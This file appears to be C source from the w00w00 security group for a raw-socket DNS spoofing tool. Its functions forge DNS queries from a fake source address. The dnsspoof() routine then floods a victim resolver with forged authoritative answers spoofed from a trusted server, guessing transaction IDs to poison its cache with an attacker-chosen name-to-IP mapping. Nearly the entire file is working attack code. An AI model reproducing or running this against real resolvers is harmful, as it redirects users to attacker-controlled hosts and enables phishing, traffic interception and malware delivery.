/* ****************************************************** */
/* w00w00 code for DNS packets                 Super Raw  */
/* ------------------------------------------------------ */
/* w00w00 Security Development (WSD)                      */
/* Email: w00w00@janova.org or WSD@janova.org             */
/* Sites: http://www.janova.org, ftp://ftp.janova.org/pub */
/* ****************************************************** */

#define   ERROR      -1
#define   TYPE_A      1
#define   TYPE_PTR   12
#define   MAXLEN     64
#define   DNSHDRSIZE 12

int myrand()
{
  int j = 1 + (int)(150.0 * rand() / (RAND_MAX + 1.0));
  return(j);
}


unsigned long host2ip(char *serv)
{
  struct hostent *hent;
  struct sockaddr_in sinn;
      
  hent = gethostbyname(serv);
  if (hent == NULL) {
     herror("gethostbyname");
     exit(ERROR);
  }
  
  bzero((char *)&sinn, sizeof(sinn));
  bcopy(hent->h_addr, (char *)&sinn.sin_addr, hent->h_length);
  
  return sinn.sin_addr.s_addr;
 }

  

void nameformat(char *name, char *qs)
{
  int i;
  int a = 0;

  char lol[3000];
  char tmp[2550], tmp2[2550];

  if (strlen(name) > sizeof(tmp) - 1) {
     fprintf(stderr, "nameformat(): name too long: %s\n", name);
     exit(ERROR);
  } 

  bzero(lol,  sizeof(lol));
  bzero(tmp,  sizeof(tmp));
  bzero(tmp2, sizeof(tmp2));

  for (i = 0; i < strlen(name); i++) {
     if (*(name+i) == '.') {
        sprintf(tmp2, "%c%s", a, tmp); 
        strcat(lol, tmp2);
          
        bzero(tmp,  sizeof(tmp));
        bzero(tmp2, sizeof(tmp2));
         
        a = 0;
     } else  
        tmp[a++] = *(name+i);
  }
       
  sprintf(tmp2, "%c%s", a, tmp);
 
  strcat(lol, tmp2);
  strcpy(qs,  lol);
 }     
 
void nameformatIP(char *ip, char *resu)
{
  int i, a = 3, k = 0;

  char c;
  char *A[4];
  char nameform[256];
  char tmp[256], tmp1[256];
  char *arpa = "in-addr.arpa";

  if (strlen(ip) > sizeof(nameform) - 1) {
     fprintf(stderr, "nameformatIP(): name too long: %s\n", ip);
     exit(ERROR);
  }

  bzero(tmp,  sizeof(tmp));
  bzero(tmp1, sizeof(tmp1));
  bzero(nameform, sizeof(nameform));

  for (i = 0; i < 4; i++) {
      A[i] = (char *)malloc(4);
      if (A[i] == NULL) {
         perror("malloc");
         exit(ERROR);
      }

      bzero(A[i], 4);
  }

  bzero(tmp,  sizeof(tmp));
  bzero(tmp1, sizeof(tmp1));

  for (i = 0; i < strlen(ip); i++) {
     c = ip[i];
     if (c == '.') {
        strcat(A[a], tmp); 
        a--;

        k = 0;

        bzero(tmp, sizeof(tmp));
     } else tmp[k++] = c;
  }
  
  strcat(A[a], tmp);
  
  for (i = 0; i < 4; i++) {
     strcat(tmp1, A[i]);
     strcat(tmp1, ".");
  }
     

  strcat(tmp1, arpa);
  nameformat(tmp1, nameform);
  strcpy(resu, nameform);
}   


int makepacketQS(char *data, char *name, int type)
{
  if (type == TYPE_A) {
     nameformat(name, data);
     *((u_short *) (data+strlen(data)+1)) = htons(TYPE_A);
  }

  if (type == TYPE_PTR) {
     nameformatIP(name,data);
     *((u_short *) (data+strlen(data)+1)) = htons(TYPE_PTR);
  }
        
  *((u_short *) (data+strlen(data)+3)) = htons(1); 

  return(strlen(data)+5);   
}


int makepacketAW(char *data, char *name, char *ip, int type)
{
  int i;
  char tmp[2550];

  bzero(tmp, sizeof(tmp));

  if (type == TYPE_A) {
     nameformat(name, data);
     *((u_short *) (data+strlen(data)+1)) = htons(1);
     *((u_short *) (data+strlen(data)+3)) = htons(1);        
   
   i = strlen(data)+5;
   strncpy(data+i, data, MAXLEN);
   
   i = i+strlen(data)+1;    
   *((u_short *) (data+i))    = htons(TYPE_A);
   *((u_short *) (data+i+2))  = htons(1);
   *((u_long  *) (data+i+4))  = 9999999;
   *((u_short *) (data+i+8))  = htons(4);
   *((u_long  *) (data+i+10)) = host2ip(ip);
   
   return(i+14);
  }

  if (type == TYPE_PTR) {
     nameformat(name, tmp);
     nameformatIP(ip, data);
   
     *((u_short *) (data+strlen(data)+1))  = htons(TYPE_PTR);
     *((u_short *) (data+strlen(data)+3)) = htons(1);  
   
     i = strlen(data)+5;
     strncpy((data+i), data, MAXLEN);
 
     i = (i+strlen(data)+1);
     *((u_short *) (data+i))   = htons(TYPE_PTR);
     *((u_short *) (data+i+2)) = htons(1);
     *((u_long  *) (data+i+4)) = 9999999;
     *((u_short *) (data+i+8)) = htons(strlen(tmp)+1);
   
     strncpy((data+i+10), tmp, MAXLEN);
   
     return(i+10+strlen(tmp)+1);
 }
 
  /* You were only supposed to use type A or PTR! Bad people. */
  return(ERROR);
}

void sendquestion(u_long s_ip, u_long d_ip,char *name,int type)
{
  int i;
  int on=1;
  int sraw;
     
  char *data;    
  char buff[1024];
         
  struct dnshdr *dns;
 
  sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sraw == ERROR) {
     perror("socket");
     exit(ERROR);
  }
   
  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
         == ERROR) {
     perror("setsockopt");
     exit(ERROR);
  }

  dns  = (struct dnshdr *) buff;
  data = (char *)(buff+DNSHDRSIZE);

  bzero(buff, sizeof(buff));

  dns->id      = 6000+myrand();
  dns->qr      = 0;
  dns->rd      = 1;
  dns->aa      = 0;
  dns->que_num = htons(1);
  dns->rep_num = htons(0);

  i = makepacketQS(data, name, type);
  udp_send(sraw, s_ip, d_ip, 1200+myrand, 53, buff, DNSHDRSIZE+i);

  close(sraw);
}                                   

void sendanswer(s_ip, d_ip, name, spoofip, ID, type)
  u_long s_ip;
  u_long d_ip;
  char *name;
  char *spoofip;
  int ID;
  int type;
{
  int i;
  int on=1;
  int sraw;
  
  char *data;
  char buff[1024];
  
  struct dnshdr *dns;
 

  sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sraw == ERROR) {
    perror("socket");
    exit(ERROR);
  }
   
  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
         == ERROR) {
     perror("setsockopt");
     exit(ERROR);
  }

  dns  = (struct dnshdr *) buff;
  data = (char *)(buff+DNSHDRSIZE);

  bzero(buff, sizeof(buff));

  dns->id      = htons(ID);
  dns->qr      = 1;
  dns->rd      = 1;
  dns->aa      = 1;
  dns->que_num = htons(1);
  dns->rep_num = htons(1);
 
  i = makepacketAW(data, name, spoofip, type);
  udp_send(sraw, s_ip, d_ip, 53, 53, buff, DNSHDRSIZE+i);
 
  close(sraw);
}           
                                     

void dnsspoof(dnstrust, victim, spoofname, spoofip, ID, type)
  char *dnstrust;
  char *victim;
  char *spoofname;
  char *spoofip;
  int ID;
  int type;
{
  int loop, rere;
  u_long fakeip, trustip, victimip;
     
  char *data;
  char buff[1024];
     
  struct dnshdr *dns;

     
  dns  = (struct dnshdr *)buff;
  data = (char *)(buff+DNSHDRSIZE);
     
  trustip  = host2ip(dnstrust);
  victimip = host2ip(victim); 
  fakeip   = host2ip("12.1.1.0");
    
  /* send question ... */
  if (type ==  TYPE_PTR) 
     for (loop = 0; loop < 4; loop++)
        sendquestion(fakeip, victimip, spoofip, type);
   
  if (type == TYPE_A)
     for (loop = 0; loop < 4; loop++)
        sendquestion(fakeip, victimip, spoofname, type);
     
  /* Answer quickly! */ 
  for (rere = 0; rere < 2; rere++) 
     for (loop = 0; loop < 80; loop++) {
        printf("trustip: %s, vitcimip: %s, spoofname: %s, spoofip: %s," 
               "ID: %i, type: %i\n",
               dnstrust, victim, spoofname, spoofip, ID+loop, type);
                     
        sendanswer(trustip, victimip, spoofname, spoofip, ID+loop, type);

     }
}
